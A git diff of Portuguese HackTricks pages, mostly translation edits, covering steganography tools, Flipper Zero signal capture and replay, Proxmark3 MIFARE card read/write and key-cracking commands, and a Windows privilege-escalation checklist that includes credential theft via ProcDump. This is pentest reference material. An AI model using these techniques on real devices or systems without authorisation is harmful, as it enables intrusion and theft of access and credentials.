* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
@ -16,7 +16,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -26,7 +26,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
### **Binwalk**
|
||||
|
||||
Uma ferramenta para buscar arquivos binários em busca de arquivos e dados ocultos incorporados. É instalado via `apt` e seu código-fonte está disponível no [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
Uma ferramenta para buscar arquivos binários em busca de arquivos e dados ocultos embutidos. É instalado via `apt` e seu código-fonte está disponível no [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
```bash
|
||||
binwalk file # Displays the embedded data
|
||||
binwalk -e file # Extracts the data
|
||||
|
@ -46,17 +46,17 @@ exiftool file # Shows the metadata
|
|||
```
|
||||
### **Exiv2**
|
||||
|
||||
Similar to exiftool, for viewing metadata. Instalável via `apt`, código fonte no [GitHub](https://github.com/Exiv2/exiv2), e possui um [site oficial](http://www.exiv2.org/).
|
||||
Similar to exiftool, for visualização de metadados. Instalável via `apt`, código fonte no [GitHub](https://github.com/Exiv2/exiv2), e possui um [site oficial](http://www.exiv2.org/).
|
||||
```bash
|
||||
exiv2 file # Shows the metadata
|
||||
```
|
||||
### **Ficheiro**
|
||||
### **Arquivo**
|
||||
|
||||
Identifica o tipo de ficheiro com o qual estás a lidar.
|
||||
Identifique o tipo de arquivo com o qual está lidando.
|
||||
|
||||
### **Cadeias de Caracteres**
|
||||
### **Strings**
|
||||
|
||||
Extrai cadeias de caracteres legíveis de ficheiros, utilizando várias configurações de codificação para filtrar a saída.
|
||||
Extrai strings legíveis de arquivos, usando várias configurações de codificação para filtrar a saída.
|
||||
```bash
|
||||
strings -n 6 file # Extracts strings with a minimum length of 6
|
||||
strings -n 6 file | head -n 20 # First 20 strings
|
||||
|
@ -153,7 +153,7 @@ Para uma exploração mais aprofundada, considere visitar:
|
|||
|
||||
## **Extraindo Dados de Áudios**
|
||||
|
||||
**Esteganografia de áudio** oferece um método único para ocultar informações dentro de arquivos de áudio. Diferentes ferramentas são utilizadas para embutir ou recuperar conteúdo oculto.
|
||||
**Esteganografia de áudio** oferece um método único para ocultar informações em arquivos de áudio. Diferentes ferramentas são utilizadas para embutir ou recuperar conteúdo oculto.
|
||||
|
||||
### **Steghide (JPEG, BMP, WAV, AU)**
|
||||
|
||||
|
@ -187,7 +187,7 @@ Uma ferramenta inestimável para inspeção visual e analítica de arquivos de
|
|||
|
||||
### **DTMF Tones - Dial Tones**
|
||||
|
||||
Detectar tons DTMF em arquivos de áudio pode ser feito através de ferramentas online como [este detector DTMF](https://unframework.github.io/dtmf-detect/) e [DialABC](http://dialabc.com/sound/detect/index.html).
|
||||
A detecção de tons DTMF em arquivos de áudio pode ser realizada por meio de ferramentas online como [este detector de DTMF](https://unframework.github.io/dtmf-detect/) e [DialABC](http://dialabc.com/sound/detect/index.html).
|
||||
|
||||
## **Outras Técnicas**
|
||||
|
||||
|
@ -198,6 +198,10 @@ Dados binários que resultam em um número inteiro ao serem elevados ao quadrado
|
|||
import math
|
||||
math.sqrt(2500) #50
|
||||
```
|
||||
### **Tradução de Truques de Esteganografia**
|
||||
|
||||
Para a conversão de binário para imagem, verifique [dcode](https://www.dcode.fr/binary-image). Para ler códigos QR, use [este leitor de código de barras online](https://online-barcode-reader.inliteresearch.com/).
|
||||
|
||||
### **Tradução de Braille**
|
||||
|
||||
Para traduzir Braille, o [Branah Braille Translator](https://www.branah.com/braille-translator) é um excelente recurso.
|
||||
|
@ -209,7 +213,7 @@ Para traduzir Braille, o [Branah Braille Translator](https://www.branah.com/brai
|
|||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -223,6 +227,6 @@ Outras formas de apoiar o HackTricks:
|
|||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,14 +7,14 @@
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -35,7 +35,7 @@ Com o [**Flipper Zero**](https://flipperzero.one/) você pode:
|
|||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -46,7 +46,7 @@ Com o [**Flipper Zero**](https://flipperzero.one/) você pode:
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -16,7 +16,7 @@ Outras formas de apoiar o HackTricks:
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -30,7 +30,7 @@ O Flipper Zero pode **receber e transmitir frequências de rádio na faixa de 30
|
|||
|
||||
## Hardware Sub-GHz <a href="#kfpn7" id="kfpn7"></a>
|
||||
|
||||
O Flipper Zero possui um módulo sub-1 GHz integrado baseado em um [](https://www.st.com/en/nfc/st25r3916.html#overview)[chip CC1101](https://www.ti.com/lit/ds/symlink/cc1101.pdf) e uma antena de rádio (o alcance máximo é de 50 metros). Tanto o chip CC1101 quanto a antena são projetados para operar em frequências nas faixas de 300-348 MHz, 387-464 MHz e 779-928 MHz.
|
||||
O Flipper Zero possui um módulo sub-1 GHz integrado baseado em um [](https://www.st.com/en/nfc/st25r3916.html#overview)chip CC1101 e uma antena de rádio (o alcance máximo é de 50 metros). Tanto o chip CC1101 quanto a antena são projetados para operar em frequências nas faixas de 300-348 MHz, 387-464 MHz e 779-928 MHz.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (8) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -64,7 +64,7 @@ Neste momento, existem **4 modulações** (AM270, AM650, FM328 e FM476), e **vá
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (28).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Você pode definir **qualquer uma que lhe interesse**, no entanto, se você **não tem certeza de qual frequência** pode ser a usada pelo controle remoto que você tem, **defina o Hopping como ON** (Desligado por padrão), e pressione o botão várias vezes até o Flipper capturar e fornecer as informações necessárias para definir a frequência.
|
||||
Você pode definir **qualquer uma que lhe interesse**, no entanto, se você **não tem certeza de qual frequência** pode ser a usada pelo controle remoto que você tem, **defina o Hopping como ON** (Desligado por padrão) e pressione o botão várias vezes até o Flipper capturar e fornecer as informações necessárias para definir a frequência.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Alternar entre frequências leva algum tempo, portanto, os sinais transmitidos no momento da troca podem ser perdidos. Para uma melhor recepção do sinal, defina uma frequência fixa determinada pelo Analisador de Frequência.
|
||||
|
@ -78,11 +78,11 @@ Roube (e reproduza) um sinal na frequência configurada
|
|||
|
||||
A opção **Ler Bruto** **registra sinais** enviados na frequência de escuta. Isso pode ser usado para **roubar** um sinal e **repeti-lo**.
|
||||
|
||||
Por padrão, o **Ler Bruto também está em 433,92 em AM650**, mas se com a opção Ler você descobrir que o sinal que lhe interessa está em uma **frequência/modulação diferente, você também pode modificá-lo** pressionando à esquerda (enquanto estiver dentro da opção Ler Bruto).
|
||||
Por padrão, o **Ler Bruto também está em 433,92 em AM650**, mas se com a opção Ler você descobrir que o sinal que lhe interessa está em uma **frequência/modulação diferente, você também pode modificá-lo** pressionando esquerda (enquanto estiver dentro da opção Ler Bruto).
|
||||
|
||||
### Força Bruta
|
||||
### Brute-Force
|
||||
|
||||
Se você conhece o protocolo usado, por exemplo, pela porta da garagem, é possível **gerar todos os códigos e enviá-los com o Flipper Zero**. Este é um exemplo que suporta tipos comuns gerais de garagens: [**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)
|
||||
Se você conhece o protocolo usado, por exemplo, pela porta da garagem, é possível **gerar todos os códigos e enviá-los com o Flipper Zero**. Este é um exemplo que suporta tipos comuns de garagens em geral: [**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)
|
||||
|
||||
### Adicionar Manualmente
|
||||
|
||||
|
@ -128,7 +128,7 @@ Obtenha dBms das frequências salvas
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -139,7 +139,7 @@ Obtenha dBms das frequências salvas
|
|||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
|
@ -14,7 +14,7 @@
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -49,7 +49,7 @@ proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to
|
|||
proxmark3> hf mf eget 01 # Read block 1
|
||||
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
|
||||
```
|
||||
O Proxmark3 permite realizar outras ações como **interceptar** a **comunicação Tag para Leitor** para tentar encontrar dados sensíveis. Neste cartão, você pode simplesmente interceptar a comunicação e calcular a chave usada porque as **operações criptográficas utilizadas são fracas** e, conhecendo o texto simples e cifrado, você pode calculá-la (ferramenta `mfkey64`).
|
||||
O Proxmark3 permite realizar outras ações como **interceptar** uma **comunicação de Tag para Leitor** para tentar encontrar dados sensíveis. Neste cartão, você pode simplesmente interceptar a comunicação e calcular a chave usada porque as **operações criptográficas utilizadas são fracas** e, conhecendo o texto simples e cifrado, você pode calculá-la (ferramenta `mfkey64`).
|
||||
|
||||
### Comandos Raw
|
||||
|
||||
|
@ -63,7 +63,7 @@ No chinese magic backdoor command detected
|
|||
Prng detection: WEAK
|
||||
Valid ISO14443A Tag Found - Quiting Search
|
||||
```
|
||||
Com essa informação, você pode tentar buscar informações sobre o cartão e sobre a forma de se comunicar com ele. O Proxmark3 permite enviar comandos brutos como: `hf 14a raw -p -b 7 26`
|
||||
Com essa informação, você poderia tentar buscar informações sobre o cartão e sobre a forma de se comunicar com ele. O Proxmark3 permite enviar comandos brutos como: `hf 14a raw -p -b 7 26`
|
||||
|
||||
### Scripts
|
||||
|
||||
|
@ -75,7 +75,7 @@ Pode criar um script para **fuzz tag readers**, copiando os dados de um **cartã
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
|
|
@ -6,17 +6,17 @@
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -27,7 +27,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
### [Informações do Sistema](windows-local-privilege-escalation/#system-info)
|
||||
|
||||
* [ ] Obter [**informações do sistema**](windows-local-privilege-escalation/#system-info)
|
||||
* [ ] Procurar por **exploits de kernel usando scripts**](windows-local-privilege-escalation/#version-exploits)
|
||||
* [ ] Procurar por **exploits de kernel** usando **scripts**](windows-local-privilege-escalation/#version-exploits)
|
||||
* [ ] Usar o **Google para pesquisar** por **exploits de kernel**
|
||||
* [ ] Usar o **searchsploit para pesquisar** por **exploits de kernel**
|
||||
* [ ] Informações interessantes em [**variáveis de ambiente**](windows-local-privilege-escalation/#environment)?
|
||||
|
@ -37,7 +37,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
* [ ] [**Exploração do WSUS**](windows-local-privilege-escalation/#wsus)?
|
||||
* [**AlwaysInstallElevated**](windows-local-privilege-escalation/#alwaysinstallelevated)?
|
||||
|
||||
### [Enumeração de Logging/AV](windows-local-privilege-escalation/#enumeration)
|
||||
### Enumeração de Logging/AV](windows-local-privilege-escalation/#enumeration)
|
||||
|
||||
* [ ] Verificar as configurações de [**Auditoria**](windows-local-privilege-escalation/#audit-settings) e [**WEF**](windows-local-privilege-escalation/#wef)
|
||||
* [ ] Verificar o [**LAPS**](windows-local-privilege-escalation/#laps)
|
||||
|
@ -46,46 +46,46 @@ Outras maneiras de apoiar o HackTricks:
|
|||
* [ ] [**Guarda de Credenciais**](windows-local-privilege-escalation/#credentials-guard)[?](windows-local-privilege-escalation/#cached-credentials)
|
||||
* [ ] [**Credenciais em Cache**](windows-local-privilege-escalation/#cached-credentials)?
|
||||
* [ ] Verificar se há algum [**AV**](windows-av-bypass)
|
||||
* [ ] [**Política AppLocker**](authentication-credentials-uac-and-efs#applocker-policy)?
|
||||
* [ ] [**UAC**](authentication-credentials-uac-and-efs/uac-user-account-control)
|
||||
* [ ] [**Privilégios de Usuário**](windows-local-privilege-escalation/#users-and-groups)
|
||||
* [ ] Verificar os [**privilégios atuais** do usuário](windows-local-privilege-escalation/#users-and-groups)
|
||||
* [ ] Você é [**membro de algum grupo privilegiado**](windows-local-privilege-escalation/#privileged-groups)?
|
||||
* [ ] Verificar se você tem [alguns desses tokens habilitados](windows-local-privilege-escalation/#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
|
||||
* [ ] [**Sessões de Usuários**](windows-local-privilege-escalation/#logged-users-sessions)?
|
||||
* [ ] Verificar [**diretórios dos usuários**](windows-local-privilege-escalation/#home-folders) (acesso?)
|
||||
* [ ] Verificar a [**Política de Senhas**](windows-local-privilege-escalation/#password-policy)
|
||||
* [ ] O que há [**dentro da Área de Transferência**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard)?
|
||||
* [**Política AppLocker**](authentication-credentials-uac-and-efs#applocker-policy)?
|
||||
* [**UAC**](authentication-credentials-uac-and-efs/uac-user-account-control)
|
||||
* [**Privilégios do Usuário**](windows-local-privilege-escalation/#users-and-groups)
|
||||
* Verificar os [**privilégios atuais** do usuário](windows-local-privilege-escalation/#users-and-groups)
|
||||
* Você é [**membro de algum grupo privilegiado**](windows-local-privilege-escalation/#privileged-groups)?
|
||||
* Verificar se você tem [algum desses tokens habilitados](windows-local-privilege-escalation/#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
|
||||
* [**Sessões de Usuários**](windows-local-privilege-escalation/#logged-users-sessions)?
|
||||
* Verificar [**diretórios dos usuários**](windows-local-privilege-escalation/#home-folders) (acesso?)
|
||||
* Verificar a [**Política de Senhas**](windows-local-privilege-escalation/#password-policy)
|
||||
* O que há [**dentro da Área de Transferência**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard)?
|
||||
|
||||
### [Rede](windows-local-privilege-escalation/#network)
|
||||
### Rede](windows-local-privilege-escalation/#network)
|
||||
|
||||
* [ ] Verificar as **informações de rede atuais**](windows-local-privilege-escalation/#network)
|
||||
* [ ] Verificar **serviços locais ocultos** restritos ao exterior
|
||||
* Verificar as **informações de rede** [**atuais**](windows-local-privilege-escalation/#network)
|
||||
* Verificar **serviços locais ocultos** restritos ao exterior
|
||||
|
||||
### [Processos em Execução](windows-local-privilege-escalation/#running-processes)
|
||||
### Processos em Execução](windows-local-privilege-escalation/#running-processes)
|
||||
|
||||
* [ ] Permissões de arquivos e pastas dos binários dos processos](windows-local-privilege-escalation/#file-and-folder-permissions)
|
||||
* [ ] [**Mineração de Senhas na Memória**](windows-local-privilege-escalation/#memory-password-mining)
|
||||
* [ ] [**Aplicativos GUI Inseguros**](windows-local-privilege-escalation/#insecure-gui-apps)
|
||||
* [ ] Roubar credenciais com **processos interessantes** via `ProcDump.exe` ? (firefox, chrome, etc ...)
|
||||
* Permissões de [**arquivos e pastas dos binários dos processos**](windows-local-privilege-escalation/#file-and-folder-permissions)
|
||||
* [**Mineração de Senhas na Memória**](windows-local-privilege-escalation/#memory-password-mining)
|
||||
* [**Aplicativos GUI Inseguros**](windows-local-privilege-escalation/#insecure-gui-apps)
|
||||
* Roubar credenciais com **processos interessantes** via `ProcDump.exe` ? (firefox, chrome, etc ...)
|
||||
|
||||
### [Serviços](windows-local-privilege-escalation/#services)
|
||||
### Serviços](windows-local-privilege-escalation/#services)
|
||||
|
||||
* [ ] [Você pode **modificar algum serviço**?](windows-local-privilege-escalation#permissions)
|
||||
* [ ] [Você pode **modificar** o **binário** que é **executado** por algum **serviço**?](windows-local-privilege-escalation/#modify-service-binary-path)
|
||||
* [ ] [Você pode **modificar** o **registro** de algum **serviço**?](windows-local-privilege-escalation/#services-registry-modify-permissions)
|
||||
* [ ] [Você pode aproveitar algum **caminho de binário de serviço** **não citado**?](windows-local-privilege-escalation/#unquoted-service-paths)
|
||||
* [Você pode **modificar algum serviço**?](windows-local-privilege-escalation#permissions)
|
||||
* [Você pode **modificar** o **binário** que é **executado** por algum **serviço**?](windows-local-privilege-escalation/#modify-service-binary-path)
|
||||
* [Você pode **modificar** o **registro** de algum **serviço**?](windows-local-privilege-escalation/#services-registry-modify-permissions)
|
||||
* Você pode aproveitar algum **caminho de binário de serviço não citado**?](windows-local-privilege-escalation/#unquoted-service-paths)
|
||||
|
||||
### [**Aplicativos**](windows-local-privilege-escalation/#applications)
|
||||
### **Aplicativos**](windows-local-privilege-escalation/#applications)
|
||||
|
||||
* [ ] **Permissões de escrita em aplicativos instalados**](windows-local-privilege-escalation/#write-permissions)
|
||||
* [ ] [**Aplicativos de Inicialização**](windows-local-privilege-escalation/#run-at-startup)
|
||||
* [ ] **Drivers** [**Vulneráveis**](windows-local-privilege-escalation/#drivers)
|
||||
* **Permissões de escrita em aplicativos instalados**](windows-local-privilege-escalation/#write-permissions)
|
||||
* [**Aplicativos de Inicialização**](windows-local-privilege-escalation/#run-at-startup)
|
||||
* **Drivers** vulneráveis](windows-local-privilege-escalation/#drivers)
|
||||
### [DLL Hijacking](windows-local-privilege-escalation/#path-dll-hijacking)
|
||||
|
||||
* [ ] Você consegue **escrever em qualquer pasta dentro do PATH**?
|
||||
* [ ] Existe algum binário de serviço conhecido que **tenta carregar algum DLL inexistente**?
|
||||
* [ ] Você consegue **escrever** em qualquer **pasta de binários**?
|
||||
* [ ] Você consegue **escrever** em alguma **pasta de binários**?
|
||||
|
||||
### [Rede](windows-local-privilege-escalation/#network)
|
||||
|
||||
|
@ -97,16 +97,16 @@ Outras maneiras de apoiar o HackTricks:
|
|||
* [ ] Credenciais do [**Winlogon**](windows-local-privilege-escalation/#winlogon-credentials)
|
||||
* [ ] Credenciais do [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault) que você poderia usar?
|
||||
* [ ] Credenciais [**DPAPI interessantes**](windows-local-privilege-escalation/#dpapi)?
|
||||
* [ ] Senhas de redes Wi-Fi salvas [**Wifi networks**](windows-local-privilege-escalation/#wifi)?
|
||||
* [ ] Informações interessantes em [**conexões RDP salvas**](windows-local-privilege-escalation/#saved-rdp-connections)?
|
||||
* [ ] Senhas de redes [**Wifi salvas**](windows-local-privilege-escalation/#wifi)?
|
||||
* [ ] Informações interessantes em [**Conexões RDP salvas**](windows-local-privilege-escalation/#saved-rdp-connections)?
|
||||
* [ ] Senhas em [**comandos recentemente executados**](windows-local-privilege-escalation/#recently-run-commands)?
|
||||
* [ ] Senhas do [**Gerenciador de Credenciais do Remote Desktop**](windows-local-privilege-escalation/#remote-desktop-credential-manager)?
|
||||
